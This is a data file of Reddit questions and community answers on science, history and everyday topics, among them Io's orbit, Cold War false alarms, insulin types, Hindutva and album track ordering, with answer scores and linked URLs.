{"q_id": "6lrvmb", "title": "Why is stable matter only composed of protons, neutrons, and electrons? Why aren't there other stable combinations of elementary particles?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6lrvmb/why_is_stable_matter_only_composed_of_protons/", "answers": {"a_id": ["djwadpb", "djwp685"], "score": [15, 3], "text": ["Those have the lowest energy for given decay path (meaning: although a proton has higher energy as an electron, there is no path leading to its decay to an electron). A free neutron is btw. not stable, but will decay into a proton (and other particles). Neutrons are only stable inside of a nucleus, because in a *bounded* state, it might be favorable for a proton to decay into a neutron (because too many protons in a nucleus make it unstable).\n\nKeep in mind, that a proton is also not a fundamental particle, but consists of 3 quarks (which are fundamental, but only exist bound together).\n\nSo the fundamental answer to the question \"why is the universe like it is?\": because it is the most stable configuration under the given circumstances.", "To add to the other replies, take a look at:\n\n_URL_0_\n\nAs you can see there are a several ways in which other elementary particles can be combined into objects resembling atoms - it is just that because they can decay, they do."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Exotic_atom"]]}
{"q_id": "vygvo", "title": "A question about Crown Prince Rudolf", "selftext": "In Rebecca Black's *Black Lamb and Grey Falcon* she writes: \n > It is a grotesque fact that when the Crown Prince Rudolf was taught Croat, the court chose as his tutor not a learned professor from Vienna or Zagreb, or any of the cultivated gentlemen to be found in the Dalmatian cities, but a country squire from this town.\n\nShe is referring to the town of Rishan (in Croatia?).\n\nThere is then a footnote that says, \"I was about to discover the reason for this from a Viennese historian when the Anschluss came, and there was silence.\"\n\nDoes anyone here know the reason?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/vygvo/a_question_about_crown_prince_rudolf/", "answers": {"a_id": ["c58upmx"], "score": [3], "text": ["I would assume judging by the period that with so many feuding nationalities within the Empire it would have been intensely dangerous to give a disenfranchised minority the ear of the future Emperor. Rudolf's father had already reluctantly created the Dual Monarchy due to Hungarian independence movements, it was already a delicate balancing act enough without the possibility of giving any other minorities a voice. \n\nA country squire would have been subservient, known very little of politics and had relatively little interest in the \"greater good\". I'd put my money on that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "31w7ei", "title": "Does volcanism on Io and other volcanically active planets/moons affect their orbits in any way?", "selftext": "So, as far as I know, Io is very volcanically active and spills out large quantum of mass into space. So does that have an affect on it's orbit? Or is it negligible?\n\nOne other question: When a volcano explodes on Earth, that has no effect, since the stuff comes back down, right? Or do I have the physics completely wrong?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/31w7ei/does_volcanism_on_io_and_other_volcanically/", "answers": {"a_id": ["cq5un6w", "cq5wra6"], "score": [3, 46], "text": ["Not directly related to your question, but the volcanism of Io is due to it's orbit in the first place. The extremely elliptical orbit causes the interior to be heated because it's basically being kneaded. [wikipedia](_URL_0_)", "Io's volcanism actually does affect its orbit around Jupiter, but not in the way you are thinking. The volcanic eruptions are strong enough to eject material into a cloud of neutral atoms surrounding the moon. This cloud will interact with (ie be hit by) other energetic particles in the magnetosphere, in turn ionizing them. This then gives rise to an ionosphere on Io, which amounts to a highly conductive shell. As Io orbits Jupiter, this conductive shell cuts across Jovian magnetic field lines, dragging them backwards against Jupiter's rotation (since Io's orbit is slower than Jupiter's rotation). The field lines resist this dragging motion, applying a force on Io in the direction of its orbit, speeding it up. As it speeds up, it moves to a larger orbit around Jupiter, so that it is slowly being pushed farther outwards.\n\n[This work coauthored by Kivelson](_URL_0_) has plenty more detail for those interested."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Io_%28moon%29#Volcanism"], ["http://www.igpp.ucla.edu/public/mkivelso/Publications/278-Ch22.pdf"]]}
{"q_id": "2yooy5", "title": "D-Day: Why were National Guardsmen picked to spearhead the landings at Omaha Beach over active duty Army?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2yooy5/dday_why_were_national_guardsmen_picked_to/", "answers": {"a_id": ["cpbiq1k", "cpbspo9"], "score": [224, 13], "text": ["Where did you get that idea? The two division that landed on Omaha were the 1st Infantry, a regular army unit, and the 29th Infantry a National Guard unit.", "Subsequent question: I've heard that Allied generals purposely made sure that the vast majority of the troops who spearheaded the D-Day invasion had never experienced combat, because if they had, they feared the experienced troops would be less likely to advance towards the entrenched German defenses? True?  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "65gi21", "title": "Please help", "selftext": "I have a relative that was in the 78th lightning division and I would love to see his division and try to find any pictures of him as I have unfortunately never been able to meet him. His name was William W. Wilt, he was in the 310 Infantry Regiment, 78th Division. Also, his letters were published in a book but I do not know what the title is. Besides the letters, I only want to find pictures or film of him. Time is of the essence as this information is slowly being lost forever. I would be forever grateful if you could help me better know my long deceased relative. Also, here is the only picture I have of him. Thank you and God bless.\n_URL_0_", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/65gi21/please_help/", "answers": {"a_id": ["dga3ygk"], "score": [4], "text": ["Hello there! As your question is related to looking for identification/information regarding military personnel, our [Guide on Military Identification](_URL_0_) may be of use to you. It provides a number of different resources, including how to request service records from a number of national agencies around the world, as well as graphical aids to assist in deciphering rank, unit, and other forms of badges or insignia. While the users here may still be able to lend you more assistance, hopefully this will provide a good place to start!"]}, "title_urls": [], "selftext_urls": ["http://imgur.com/7Y9TCdx"], "answers_urls": [["https://www.reddit.com/r/AskHistorians/wiki/militaryrecords"]]}
{"q_id": "2paacj", "title": "what are the cultural differences between china, hong kong, and taiwan?", "selftext": "I understand most of the political history, but aren't the cultures of these three remarkably similar? Is it just the governments keeping these peoples separate?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2paacj/eli5_what_are_the_cultural_differences_between/", "answers": {"a_id": ["cmuu8yn", "cmuu8zy", "cmux38v", "cmuxgyg", "cmv796e"], "score": [33, 8, 13, 20, 5], "text": ["This is a huge question. The \"major\" difference is that Hong Kong and Taiwan are more traditionally Chinese (pre-Cultural Revolution), but with a tiny bit of Japanese influence from WWII occupation. (Hong Kongers and Taiwanese are, at least, less likely to viscerally hate Japanese.) In fact, Hong Kong and Taiwan have more in common with some overseas (i.e. American) Chinese communities than with the Mainland Chinese. Naturally, Hong Kong has a lot of British influence (people queue up), while Taiwan has some Native Taiwanese (essentially Polynesian) influence. Also, check out Macau -- the former colony of Portugal.  ", "White-washed Taiwanese here. In the sense of civility, I find Mainland Chinese to be less composed in public. Other than that, there are also some linguistic and diction differences between Taiwan and China. The most notable linguistic difference is the practice of tongue rolling, which is often omitted in the Taiwanese accent. Hong Kong, on the other hand, speaks an entirely different language. The only similarity is the use of a common writing system. ", "Even before the split, Chinese culture was regional. Northern Chinese have a lot in common with Koreans, Manchurians and Mongolians. Southern Chinese blend into South East Asia.\n\nHong Kong people are mostly southern Chinese from Guangdong in term of food, language and lifestyle. During the split, HK got a huge infusion of rich merchant class Chinese from all over China with their gold (especially Shanghai). So there are a lot of Shanghai influence. Hong Kong still place a lot of importance on commerce and corporations. Then there was British colonial influence in government and education.\n\nTaiwan have a polynesian native population and Chinese from Fujian as a base. It have some Dutch influence from a brief occupation (and you can see some natural lighter hair color in Taiwan). Japanese occupation in WWII was very gentle comparing to rest of Asia. Japan build schools, roads and hospitals (older Taiwanese can speak Japanese).  During the split, Taiwan got upper level professional military (pilots, officers), bureaucracy (accountants) and academia (at least 50% of all the professors from all the colleges) from China.\n\nIn China, you have a 10 years long ban on luxury, religion and secondary education. A lot of history and tradition were lost.", "Native Taiwanese here. In simple terms, everything started with the difference in government and the cultures divided accordingly. \n\nTo start off, Taiwan is a true democratic government with it's own president, a bunch of political parties and complete freedom of stupid speech. People insult the government every day over the media but nobody gives a crap unless you start burning houses. You can (attempt) to monopolize businesses and do whatever you want with your money and have as many kids as you want just like any other civilized 1st world country (marriages are still restricted to monogamy). We can read whatever we want, watch whatever TV, shows and movies we want, and travel/immigrate to anywhere in the world we wish at any time. What all of this means is that if you've ever met a Taiwanese person who spoke good enough English, you probably couldn't tell whether he grew up in the USA or otherwise.\n\nChina's government on the other hand controls a lot of things. The single birth law should be common knowledge already, and many people flee the country once they know they're pregnant with a second baby. I've also heard of people being denied student visas simply because the officials had 'classified' reasons against them leaving the country despite them being 100% law abiding citizens. Recently there's also been a crackdown on foreign accounts and everyone's personal bank accounts are on probation. My friend who recently moved here to the US recently said her life savings are on lockdown and she isn't allowed to do withdrawals from this side of the planet nor carry large amounts out in person. Gmail is banned, Facebook is banned, Youtube is banned, Twitter is banned, PORN is banned, possessing weed is punishable to the equivalent of selling heroine in the USA, and the government STRONGLY promotes atheism above any other religion. Guess what all of this does for the moral integrity of the people? That's right, it does nothing. Cheating is a sport, divorce is a rising trend and prostitution is at an all time record high. Not really a country I would consider settling and raising kids in.\n\nOne other major cultural difference is the writing system. Simplified Chinese created by the government during the Cultural Revolution to prevent people from going ELI5 about the history of the language, and it did a good job at that. Pinyin is NOT Chinese. How the hell does a 5000 year old non Latin language suddenly start using the English alphabet to spell out it's characters? In Taiwan we still learn the old Chinese alphabet (yes, Chinese has it's own alphabet) and learn characters like the way they were written in our old texts. An analogy to the resultant language barrier from would be like comparing British English to American English, except the size of the respective countries are reversed and the adults in the larger country are adopting internet slang over textbook grammar. Technically we can still communicate but as someone who's dated someone native to China I can say that it gets really weird sometimes.\n\nFinally, Hong Kong is basically what would happen to Taiwan if China were to assimilate it. Officials native to either system would clash, the marginal differences in culture would create disputes among the locals, stuff like that. You should definitely ask on the respective subreddit regarding this, they'll have a LOT to say about the situation I guarantee you.", "Taiwan was where the rich people went during the Revolution to avoid persecution. They don't want anything to do with China now because they have money. Hong Kong, as far as I know, was under British rule for 100 years so their culture would have a significant British influence. China is very different in culture depending on the region. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "cu51pl", "title": "how is generic insulin different from prescription insulin, and what difference does it make?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cu51pl/eli5_how_is_generic_insulin_different_from/", "answers": {"a_id": ["exrg23c", "exrggbt", "exrmi7r"], "score": [8, 3, 9], "text": ["When you are seeing generic insulin, it is usually a very basic type - there are now more advanced hybrid insulins that react differently in the body, providing better control of blood sugar levels. \n\nGenerics will usually require totally different dosing. \n\nSource: I'm a T1 diabetic with an insulin pump, using FIASP hybrid insulin", "I assume you mean the difference between insulin you can get without a script vs with a script.\n\nThese medicines were originally created in the early 80's and they do not metabolise the same as newer insulins do. There is also a different way in managing insulin levels with these older meds as they function in the body differently. \n\nPlainly there are risks to taking if you don't know what you're doing and since they are not prescribed it may be more difficult to obtain proper usage information. All of that being said it is better to have the OTC insulin than none at all and risking much worse problems.", "Insulin has been on the market for sale since the 1920s. At first, they used animal insulin. But by the 1970s, they were able to synthesize human insulin. But taking insulin isn't as good as your body making its own insulin. So while your own body is very responsive to the amount of insulin you need at any given moment based on your energy requirements and what you're eating or not eating, injectible insulin just can't be that responsive. It can cause dangerous swings in your blood sugar. Too high, and you can cause permanent damage, a little bit at a time. Too low, and you could also cause permanent damage, and you can also pass out, go into a coma, and die quite quickly. \n\nSo there's a lucrative market out there for better insulin. And there are different types of insulin you can get--some cause a quick response in the body some cause a slow response in the body. Ideally, you won't get huge, potentially deadly swings in your blood sugar with this better insulin. \n\nDrugs created by drug companies can only be patented for a certain limited number of years. So drug companies are always trying to create new, better insulins, or at least an insulin that's slightly different from other insulins and that they can market as better than other insulins. All type 1 diabetics and many type 2 diabetics need insulin to live. And if they don't have the right amounts and types of insulin, their body will slowly become damaged. Little by little, year after year, until they start having major problems, such as kidney failure, blindness, and limb amputations.  Some people simply can't take just any insulin, because for some reason their body can't tolerate it and they end up with bad, potentially fatal reactions or side effects. So they NEED to have one particular expensive type of insulin. That's why it's so important to get your insulin right. \n\nThe newest name brand, prescription insulin is often the best--it might be the quickest acting, or the slowest acting, or just better at preventing complications in some way.  In any case, there are multiple types so it gives a person multiple options to find what's right for them. I believe most type 1 diabetics take more than one type of insulin--some slow acting, some fast acting, depending on the time of day. They might have a fast acting one just before dinner when they're about to consume a lot of calories. They might take a slow acting one before they go to sleep, since they're going to go 8 hours without eating and also without using insulin and they need something that will keep blood sugar even for the whole night--your body's energy needs change throughout the night and insulin production in a non-diabetic changes throughout the night, but someone with diabetes can't be getting up throughout the night to check their insulin. If your blood sugar decreases too much while you're asleep, you'll literally never wake up. These newer insulins deal with these issues best but they're also the most expensive, and getting more and more expensive--these top of the line types have increased many times in price over the past 20 years, putting some types outside of the budgets of many people. \n\nThe generic insulin that's available (I've heard it's sold at WalMart for about $25 per vial, and you don't need a prescription), isn't right for everyone for the reasons stated above Like I said, it's not the best that's available--some people might not be able to tolerate it, while others might experience blood sugar swings that endanger their lives and health."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1lpbt3", "title": "Why is pancreatic cancer so deadly? How close are we to a cure?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1lpbt3/why_is_pancreatic_cancer_so_deadly_how_close_are/", "answers": {"a_id": ["cc1ho5y", "cc1ipn6"], "score": [4, 23], "text": ["It is so deadly because most of the time it is detected so late that it has already done massive amounts of damage. Right now I believe scientists are working on accessible tests that allow the cancer to be detected earlier, allowing for earlier treatment and a better prognosis. ", "There are a couple of reasons why pancreatic cancer is especially deadly.  First - there is no reliable way to screen for it.  Prostate cancer can be detected by searching for prostate-specific antigen in the blood, and breast cancer can be detected by imaging.  Pancreatic cancer is rarely detected before it has grown so large as to cause symptoms.\n\nThe larger a tumor is when it is detected, the harder it is to treat.  Pancreatic tumors have the tendency to invade many nearby tissues, such as the small intestine, bile duct, and nearby nerves/blood vessels.  Pancreatic cancer is also often metastatic when it is diagnosed.  Surgery is the best treatment - 5-year survival rates are about 25%.  But surgeons cannot resect the tumor successfully if it has already metastasized, so only about 1 in 5 patients are surgical candidates.\n\nTreatment for non-resectable pancreatic cancer is chemo/radiation, and the terrible efficacy of this treatment in pancreatic cancer is another reason why outlook is so poor.  I don't know as much about the chemo side (I believe standard therapy is 5 cycles of folfirinox).  Radiation is extremely difficult to deliver to the pancreas - it isn't really attached to anything solid, and so it can move several centimeters between treatments.  On top of that, it moves around 1-2 cm with normal respiratory motion.  It is surrounded by the duodenum (small intestine), which is one of the most radio-sensitive organs in the body.  If you miss the pancreas and deliver a large dose to the duodenum, this can easily be fatal.  Median survival in patients who don't undergo surgery is 12 months.\n\nWe have a trial going on at my institution to deliver high-dose, targeted radiation to unresectable pancreatic cancer with the hopes of shrinking the tumor enough to allow the tumor to be resected.  This converts someone from the 12-month median survival category to the 25% 5-year survival category.  Other research is aimed at understanding the molecular basis of pancreatic cancer, with the hopes of designing a targeted biologic agent (similar to gefitnib/erlotnib in lung cancer).  People are also interested in finding a biomarker for pancreatic cancer, which would allow for earlier diagnosis and treatment (before the cancer has spread or meteastasized)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "329xax", "title": "is it possible to turn off the internet for the whole world?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/329xax/eli5is_it_possible_to_turn_off_the_internet_for/", "answers": {"a_id": ["cq98k9z"], "score": [2], "text": ["The internet is like a road network. Yes, if you put up enough roadblocks on the roads, people won't be able to \"drive around\"/see websites. You can consider a website to be like a store; if you block the roads to the store, no one can get there.\n\nHowever, putting a roadblock up only restricts a certain part of the internet; it is nigh impossible to prevent two people from creating their own \"intranet\" between two computers/servers, the same way it's almost impossible for someone to block you from driving to the next house over without being extremely intrusive.\n\nEssentially, there's no \"off\" switch for the internet."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7qg9bm", "title": "In light of the recent ballistic false alarm in Hawaii, have there been any instances in the Cold War where mass hysteria was caused by a false alarm?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7qg9bm/in_light_of_the_recent_ballistic_false_alarm_in/", "answers": {"a_id": ["dspuro9"], "score": [3], "text": ["I can't answer for mass hysteria, but there has certainly been some false calls which provoked an often vigorous response:\n\n- The 1995 Norwegian rocket incident, where a Black Brant sounding rocket from the Andoya Test Range was mistaken as a threat by Russian missile warning radar operators, as its particular trajectory apparently mimicked that expected by either a Minuteman missile flying over the pole or that of a Trident missile fired from northern waters. A single missile is generally not to be expected in such attacks, but their was some belief that a single missile detonated at high altitude could be used to as an EMP weapon to knock out over-the-horizon and ABM radars as a precursor to a full on strike on Russia and Moscow. Alternately, there was also concern in Russian analyst circles that the Trident D5 missile had the CEP (circular error probability, ie the accuracy) and defence penetration capability to be a viable weapon for use in a first strike scenario to decapitate Russian leadership if fired on a low level \"cannonball\"  trajectory where it could avoid detection by ABM defences and afford little reaction time to Moscow. This incident was apparently serious enough to cause the Russian \"nuclear football\" to  be opened and prepped, and contact to be made with land and sea based rocket forces. However, as the sounding rocket continued its flight it was realised not to be a threat and defenses were stood down.\n\n- During the Cuban Missile Crisis in 1962, Volk airbase in Wisconsin was used as a dispersal point for B-47 bombers. On 25 October 1962 a guard at the Duluth Sector Direction Center noticed a figure climbing the perimeter fence and sounded the alarm linked to all surrounding airbases, believing that saboteurs where attempting to attack the aircraft on station. Due to faulty wiring this actually triggered an alarm scrambling F-106A nuclear-armed interceptors. Security guards responding to the intruder quickly found out that it was actually a black bear, and were able to halt the F-106's before they got airborne.\n\n- In 1979, a false attack warning was interpreted by operators at North American Aerospace Defense Command (NORAD), when a tape containing an attack simulation exercise was accidentally left in an early warning computer system. It was regarded seriously enough to cause several interceptors to be launched as well as the National Emergency Airborne Command Post, although without either the president or the secretary of defence which it was meant to carry. NORAD was able to disprove and cancel this threat warning within 6 minutes by cross-referencing with both PAVE PAWS early warning radar and warning satellites which showed no launches had taken place. This was one of several incidents of the same era caused by software issues: A similar incident occurred in 1980 when a faulty computer chip gave erroneous readings of land-based and submarine missile launches. The response to this incident was less vigorous as operators noted that every warning listed the amount of missiles launched, and all the totals had zeroes within the number replaced by twos (where the computer display normally listed number of launches as 0000, they were instead coming up as 0002, or 0202 etc), thus the operators realized the numbers were not rational."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6r8sim", "title": "with mayweather vs. mcgregor coming up, what are the different types/weights of gloves and what difference do they make?", "selftext": "Apparantly they agreed on 8oz. gloves. I would like to understand what implications that has, as well as what the generic differences are between MMA style gloves and boxing style gloves.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6r8sim/eli5_with_mayweather_vs_mcgregor_coming_up_what/", "answers": {"a_id": ["dl38gx9"], "score": [2], "text": ["The heavier the glove the more protection for the hand basically. People seem to forget that gloves are meant to protect hands, not the face. I believe the heavier the glove, the easier it is to be rocked or knocked out. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3prlsd", "title": "Has there ever been state that has endured similar punishment as USSR during the operation Barbarossa, and bounced back to win the war?", "selftext": "During the first year of war in the east Soviet Union suffered 4 million casualties, which is actually third more than they had frontline troops at the start of the war. Germans had penetrated hundreds of kilometers into Soviet Union and conquered many large cities (though factories tended to evacuate before them).\n\nAll this seems like very extraordinary punishment for nation to take so quickly. It seems kinda surprising that Soviet Union didn't lose the war in the end.\n\nHas there ever been state that endured comparable punishment only to bounce back and win the war?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3prlsd/has_there_ever_been_state_that_has_endured/", "answers": {"a_id": ["cw9a9st"], "score": [7], "text": ["The Second Punic War comes to mind. The Romans lost several major battles in quick succession, culminating in the battle of Cannae which was a disaster. Their first expedition to Spain also failed. Hannibal was free to roam the Italian peninsula, destroying towns loyal to Rome while securing alliances with cities like Capua which had defected to his side. The Roman Republic had to go to extreme lengths to rebuild their armies, including conscripting freed slaves and teenagers. Fortunately for them, enough of their Italian allies didn't defect and they had sufficiently large population that these early defeats were not as crippling as one might think.\n\nUltimately Rome was able to prevail. Hannibal lacked siege equipment and wasn't able to threaten the city of Rome itself. The Romans stopped trying to fight Hannibal directly and instead focused on denying him reinforcements. Their second invasion of Spain was much more successful. Eventually the Romans invaded Africa itself and defeated Hannibal at the battle of Zama, ending the war. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6ziwss", "title": "What was Hindutva and was it a Fascist ideology? Were the RSS a Fascist organisation? What link do these have with the modern Bharatiya Janata Party?", "selftext": "I understand that I have asked a few separate questions but what I'm mainly interested in is an explanation on what these right wing ideas were and what they have to do with the BJP.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6ziwss/what_was_hindutva_and_was_it_a_fascist_ideology/", "answers": {"a_id": ["dmw65v9"], "score": [5], "text": ["What is Hindutva ?\n\nThe Supreme Court of India in 1995 said,\"no precise meaning can be ascribed to the terms 'Hindu' 'Hindutva' and 'Hinduism'; and no meaning in the abstract can confine it to the narrow limits of religion alone, excluding the content of Indian culture and heritage\".\n\nIt classified Hindutva as a way of life of the people in the sub- continent and dismissed the idea of equating the abstract terms Hindutva or Hinduism with the \"narrow fundamentalist Hindu religious bigotry\".\n\nEssentially it said that Hindutva is a way of life and not a religion. On 2 January 2017, the Supreme Court of India declined to reconsider its 1995 judgment.\n\n\nThe term 'Hindutva' was coined by Vinayak Damodar Savarkar in 1923 while imprisoned in Nagpur Prison for his *alleged* role in the murder of Sir William Hutt Curzon Wyllie. (The assassin was a friend and follower of Savarkar) \n\nThe year is important. It is 24 years before Indian Independence, 5 years after the end of WWI and 1 year since the end of the Non Co-opertion movement which had been a huge mass and social success but had been called off due to incidents of violence. \n\nWhy is this important ? It is important because it tells you the mood of India. The INC and other pro Indian organizations had supported Britain during WWI in the hopes that the British would be lenient and reciprocate this by granting Indians self rule. (A continuation of the moderate policy of the INC which believed that the British were essentially good and wanted to benefit India but due to their lack of knowledge of India were not able to) This was in contrast to the revolutionaries who wanted to exploit British weakness and distraction and free India. However Britain had no intention of giving Indians self rule and severely cracked down on any Indian movements and protests. This led to the Jallianwala Bagh massacre. The Non Co-operation Movement was launched in response to this and was a massive success. Why was it a success ? The NCM was the first organized mass movement in the history of the Indian Independence movement. The movement united India in a way never seen before. People from all strata of Indian society supported the movement. It was a non violent movement led by Gandhiji and supported by the ordinary people of India. All previous movements had either been geographically limited to specific regions, limited by class- i.e pursued by the elite of Indian society without any participation of the masses, or by the masses without support of the upper class, i.e peasant movements, or had been violent movements and thus could be easily answered through violent suppression. The NCM united India by transcending geographical and social barriers and uniting the *People*. Thus there was an element of Nationalism to the movement. Nationalism in India had always been limited to either one's own caste or tribe or the region to which one belonged. Indian Nationalism, encompassing the entire Indian subcontinent was a new thing. \n\nAlso, by this time, there were many Indians who had travelled to Europe and studied in its Universities. Thus they had experienced European Nationalism and had returned to India with similar ideas of Indian nationalism. The NCM gave a platform to these nationalists to express their ideas.\n\nThus the mood in 1923 among the leaders of the Indian Nationalist movement was one of hope. It is important to remember that the INC was but one organization, though the largest, representing the voice of Indians. There were many competing voices  &  ideas. Questions were discussed, the two most prominent being-  how will India attain freedom ? and What kind of country- socially, politically and less importantly economically- would India be ?\n\nSavarkar's Hindutva is one answer to the latter question. It is described in Savarkar's book \"Hindutva: Who Is a Hindu?\"\n\nEssentially the view is nationalist, describing who is an Indian or a Hindu. Hindutva says that a Hindu is essentially anyone living in India and who considers India to be their motherland, fatherland and holy land (describing it purely in cultural terms), loving it and owing it his allegiance. It says all Indians have a common blood, irrespective of their religion. \n\nEdit- Sanskiriti means culture/heritage\n\n\n > We Hindus are not only a Rashtra, a Jati, but as a consequence of being both, own a common Sanskriti expressed, preserved chiefly and originally through Sankrit, the real mother tongue of our race. \nEveryone who is a Hindu inherits this Sanskriti and owes his spiritual being to it as truly as he owes his physical one to the land and the blood of his forefathers. \n\nPg 99\n\nIt says India is bonded together through her ancient culture. Buddhism, Sikhism and Jainism are a part of Hinduism and India while Islam, Christianity and others are foreign religions. \n\n > A Hindu then is he who feels attachment to the \nland that extends from Sindhu to Sindhu as the land \nof his forefathers \u2014 as his Fatherland; who inherits \nthe blood of the great race whose first and discernible \nsource could be traced from the Himalayan altitudes of \nthe Vedic Saptasindhus and which assimilating all \nthat was incorporated and ennobling all that was \nassimilated has grown into and come to be known as \nthe Hindu people; and who, as a consequence of the \nforegoing attributes, has inherited and claims as his \nown the Hindu Sanskriti, the Hindu civilization, as \nrepresented in a common history, common heroes, a \ncommon literature, common art, a common law and a \ncommon jurisprudence, common fairs and festivals, \nrites and rituals, ceremonies and sacraments. Not that \nevery Hindu has all these details of the Hindu Sanskriti down to each syllable common with other Hindus ; \nbut that he has more of it common With his Hindu \nbrothers than with, say, an Arab or an Englishman. Not \nthat a non-Hindu does not hold any of these details \nin common with a Hindu but that, he differs more from \na Hindu than he agrees with him. That is why Christian and Mohammedan communities, who, were but Very \nrecently Hindus and in a majority of cases had been at \nleast in their first generation most unwilling denizens of \ntheir new fold, claim though they might have a common Fatherland, and an almost pure Hindu blood and \nparentage with us, cannot be recognized as Hindus ; as \nsince their adoption of the new cult they had ceased to own Hindu civilization (Sanskriti) as a whole. \nThey belong, or feel that they belong, to a cultural unit \naltogether different from the Hindu one. Their heroes and their hero-worship, their fairs and their festivals, their ideals and their outlook on life, have now ceased to be common with ours. Thus the presence of this third essential of Hindutva which requires of every \nHindu uncommon and loving attachment to his racial Sanskriti enables us most perfectly to determine the nature of Hindutva without any danger of using over lapping or exclusive attributes.\n\nPg 100\n\n(It is interesting to note that Savarkar considered himself an atheist but a Hindu, though atheism is different in Hinduism than in the west.) \n\nThey essentially want to return to the India of old- before the Islamic invasions. They termed the invasions as colonization and grouped the colonization of India by the British as a continuation of Islamic colonization. \n\nHowever, the history of India is viewed through tint covered eyes. It is considered to be a land of paradise until the Islamic invasions and focuses on the destruction of Hindu temples, forced conversions and other destruction that followed. \n\nThis is a very muddy affair. While Savarkar has appealed to Indianess (as a culture) as the basis of the country, he has described it in terms which were popular then, i.e one country, one culture, one people.\n\n > An American may become a citizen of \nIndia. He would certainly be entitled, if bona fide, to be \ntreated as our Bharatiya or Hindi, a countryman and a \nfellow citizen of ours. But as long as in addition to our \ncountry, he has not adopted our culture and our \nhistory, inherited our blood and has come to look upon \nour land not only as the land of his love but even of \nhis worship, he cannot get himself incorporated into \nthe Hindu fold. For although the first requisite of \nHindutva is that he be a citizen of Hindusthan either \nby himself or through his forefathers, yet it is not the \nonly requisite qualification of it, as the term Hindu \nhas come to mean much more than its geographical \nsignificance. The reason that explains why the term Hindu \ncannot be synonymous with Bharatiya or Hindi and \nmean an Indian only, naturally introduces us to the \nsecond essential implication of that term. The Hindus \nare not merely the citizens of the Indian state because \nthey are united not only by the bonds of the love they \nbear to a common motherland but also by the bonds \nof a common blood. They are not only a Nation but \nalso a race-jati.\n\n >  The word jati derived from the root Jan to produce, means a brotherhood, a race determined by a common origin,-possessing a common blood. All Hindus claim to have in their veins the blood \nof the mighty race incorporated with and descended \nfrom the Vedic fathers, the Sindhus\n\nHindutva: Who is a Hindu ? Pg 84-85\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3aq4om", "title": "how do artists decide which order to place their tracks on an album?", "selftext": "It matters less these days, as no one uses CDs anymore. It mattered even more before CDs, as there were cassette tapes.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3aq4om/eli5how_do_artists_decide_which_order_to_place/", "answers": {"a_id": ["csex0td", "cseyqkr", "csf0wmy"], "score": [6, 16, 3], "text": ["It used to be (I think it still is) with records that the heavier tracks would be placed on the outside of the record (first few songs on the A or B side) because the outside of the record has a higher linear speed. The inside of the record has a lower linear speed, so there is more distortion and it would be less desirable to place a high level track\n\nEdit: clarification ", "an album is a piece of art to the artist. the tracks are all individual \"illustrations\" but when viewed all together, paint a more gestalt picture of what the artist is trying to convey. on some albums, the track listing is there to create a certain flow, feeling or ambiance throughout for the listener.. maybe some tracks segue into one another to create this effect. in some cases, the track order might not matter it all. ", "Just recorded a very much unprofessional EP. The same way we decide what order to play live, really. Some tracks are more easy listening to others. You generally just do it the way you feel I guess. You wouldn't start a gig with your biggest crowd pleaser/the most lively track; you have to build it up. And maybe you have something which is a great finish. Many albums end with tracks that fade out, as you often don't want to just end it abruptly; like our guitarist says, if nothing comes after it, it feels like being interrupted in masturbating. \n\nSo I guess you really just feel it; what message are you trying to convey with your album, if any at all? If no message is being given, you often place your best tracks early, to draw in listeners, and also because of what DodgeHemi426 said."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
